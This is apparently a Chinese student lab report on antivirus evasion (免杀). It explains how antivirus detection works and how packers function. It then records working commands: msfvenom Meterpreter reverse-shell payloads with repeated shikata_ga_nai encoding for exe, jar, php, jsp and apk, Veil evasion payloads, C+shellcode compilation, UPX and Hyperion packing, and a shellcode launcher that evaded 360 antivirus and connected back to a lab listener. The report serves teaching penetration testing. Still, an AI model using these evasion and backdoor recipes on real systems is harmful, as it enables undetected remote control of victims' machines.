《网络对抗技术》——Exp3 免杀原理与实践
一、实践内容
1.1 实践要求
1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
2、veil,加壳工具
3、使用C + shellcode编程
4、通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
5、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 实践内容
1、免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
-
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
- 就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
2、恶意软件检测机制
- 基于特征码的检测
-
-
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
-
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
-
- 启发式恶意软件检测
-
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
-
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:可以检测0-day恶意软件 具有一定通用性
- 缺点: 实时监控系统行为,开销稍多 没有基于特征码的精确度高
-
- 基于行为的恶意软件检测
-
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描, 所以后来又提出了基于行为的。
-
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
-
3、加壳
-
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
-
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
-
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
-
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
-
MSF的编码器使用类似方法,对shellcode进行再编码。
- 从技术上分壳分为
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
- 压缩壳
二、基础问题回答
1、杀软是如何检测出恶意代码的?
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
- 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
2、免杀是做什么的?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
3、免杀的基本方法有哪些?
-
改变特征码
-
如果你手里只有EXE
-
加壳:压缩壳 加密壳
-
-
有shellcode(像Meterpreter)
-
用encode进行编码
-
基于payload重新编译生成可执行文件
-
-
有源代码
-
用其他语言进行重写再编译(veil-evasion)
-
-
-
改变行为
-
通讯方式
-
尽量使用反弹式连接
-
使用隧道技术
-
加密通讯数据
-
-
操作模式
-
基于内存操作
-
减少对系统的修改
-
加入混淆作用的正常功能代码
-
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
-
三、实践过程记录
1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 对实验二生成的 20181313_backdoor.exe 后门程序通过VirusTotal和VirSCAN
- msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.138 LPORT=1313 -f exe > exp3.exe 生成一次编码的后门程序;参数-b 用于去除结束符"x00"。
- exp3.exe 检测结果如下:
- sfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.138 LPORT=1313 -f exe > exp3_encoded10.exe 生成十次编码的后门程序;参数 -i 用于设置迭代次数。
- exp3_encoded10.exe 检测结果如下:
- sfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 x> 20181313java.jar 生成jar文件
- 20181313java.jar 检测结果如下:
- msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 x> 20181313jsp.jsp 生成jsp文件
- 20181313jsp.jsp 检测结果如下:
- msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 x> 20181313php.php 生成php文件
- 20181313php.php 检测结果如下:
- msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 x> 20181313android.apk 生成apk文件
- 20181313android.apk 检测结果如下:
运行指令如下图:
2、 veil
1、安装veil
-
- 在终端输入sudo apt-get install veil
-
- 第一步顺利完成!接下来输入veil 继续安装
-
- 由于克隆过程慢的出乎想象,于是尝试更换github仓库链接
- 进入 /usr/share/veil/config 文件夹,使用命令vim setup.sh 编辑文件,找到github仓库,将其改为码云仓库https://gitee.com/spears/VeilDependencies.git
- 注意:修改链接时保留链接与双引号之间的空格,不然就会报错,无数次重装!
- 继续veil的安装,发现结果如下图:
-
- 按照提示,输入/usr/share/veil/config/setup.sh --force --silent
- 继续安装,结果如下:
安装成功!
2、使用Veil生成后门文件
- 输入use evasion 进入
- 输入use c/meterpreter/rev_tcp.py 进入配置页面
- 设置反弹连接的IP地址set LHOST 192.168.1.138
- 设置端口set LPORT 1313
- 输入options 查看设置
- 输入 generate 生成文件
- 输入生成的payload名称 veil_c_1313
- 由结果可知,payload保存路径为 var/lib/veil/output/compiled/veil_c_1313.exe
- 使用VirusTotal检测结果:
试试看生成.py的后门文件?
- 具体过程同上。use python/meterpreter/rev_tcp.py 进入配置页面。设置IP地址和端口号。输入生成的payload名称veil_py_1313
- 使用VirusTotal检测结果:
大大减少!不同类型的文件可检测的数量不同。
3、使用C + shellcode编程
- 这就是一个半手工打造恶意软件的例子。下面指令会生成一个c语言格式的Shellcode数组。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=1313 -f c
- vim 20181313.c 创建文件,将生成的buf复制到代码中
- 通过i686-w64-mingw32-g++ 20181313.c -o 20181313.exe ,将c文件编译为可执行文件
- 使用VirusTotal检测结果:
4、加壳工具——压缩壳工具UPX
- 使用upx 20181313.exe -o 20181313_upxed.exe对20181313.exe 加压缩壳得到20181313_upxed.exe 文件
- 使用VirusTotal检测结果:
- 尝试测试反弹连接
- 在windows中运行exe文件时,运行出错
- 解决方法:将两个dll文件复制到windows系统中,成功解决
- 如实验二步骤,进行反弹连接,360安全卫士不弹木马窗口
5、加壳工具——加密壳工具Hyperion
-
二次加壳wine hyperion.exe -v 20181313_upxed.exe 20181313_upxed_Hyperion.exe
- 程序报错: No valid executable
- 问题解决:想当然以为是权限不够,于是加上sudo再次尝试,还是失败。查询报错语句的中文解释,没有有效的可执行文件。因此推断是 20181313_upxed.exe没有有效压缩。重新压缩加密:
- 依旧没有成功。加上sudo:
成功!
- 使用VirusTotal检测结果:
- 在Windows中执行:
- 360安全卫士进行全盘扫描
- 尝试只用加密壳加密后门文件:20181313_Hyperion.exe
- 在Windows中运行该exe文件,发现可被杀软拦截
- 加密会导致熵过大,也就是信息过于密集,很容易被AV识别。改进可以在每个字节后门加上一个空字节,减小熵,让相应的解密程序忽略掉这个空字节,但实现起来难度太大。
6、通过组合应用各种技术实现恶意代码免杀
1、通过C+shellcode+免杀变形+压缩壳+加密壳的方式进行组合,达到免杀的目的。
- 在本次实验中,C+shellcode+免杀变形+压缩壳+加密壳的方式在Windows中能被杀毒软件检测出来并拦截清除。推测原因为现在的杀毒软件更新为最新,我们本次实验中的后门程序太low,容易被检测出来。借鉴前辈的经验,下载了较为旧的360安全卫士2015版本。
- 如实验二步骤,进行反弹连接,360安全卫士不弹木马拦截窗口
- 先用Msfvenom生成raw格式的shellcode msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.1.138 lport=1313 -f raw -o 1313.raw
- msfconsole开始监听
- 在Windows中运行shellcode_launcher.exe -i 1313.raw
- 反弹回连,免杀成功
7、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 对方虚拟机用Msfvenom生成raw格式的shellcode,注意生成程序指定的IP地址为虚拟机地址 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.1.114 lport=31813 -f raw -o 131318.raw
- 双方使用ncat传输131318.raw文件 我方主机:ncat.exe -lv 31813 > 131318.raw 对方虚拟机:nc 192.168.1.226 31813 < 131318.raw
- 对方主机msfconsole开始监听,过程仿照实验二
- 我方在Windows中运行131318.raw文件
- 反弹回连,免杀成功
四、思考:开启杀软能绝对防止电脑中恶意代码吗?
当然不能。就如本次实验中设计的后门程序,普通的杀软并没有办法检测出全部的木马。因此杀毒软件只能在一定程度上保护电脑,拦截部分后门程序,对某些精心设计能绕过查杀和检测的程序也无可奈何。
五、实践总结与体会
在本次实验中,遇到的第一个难题就是Veil的安装。在更换Github仓库链接时,由于少了个空格,在后续的安装过程中一直反复出错重装。第二个问题就是在C+Shellcoede+压缩壳的后门程序逃过了Windows杀毒软件的检测和查杀,而C+Shellcoede+加密壳和C+Shellcoede+压缩壳+加密壳的组合却在Windows中被拦截。
通过本次实验,我对后门程序的设计和免杀有了更深入的掌握,认识到了杀毒软件的强大和不足之处:杀毒软件能查杀大部分恶意软件,但并不是所有的都能被检测出来。因此我们平时也要加大网络防范安全意识,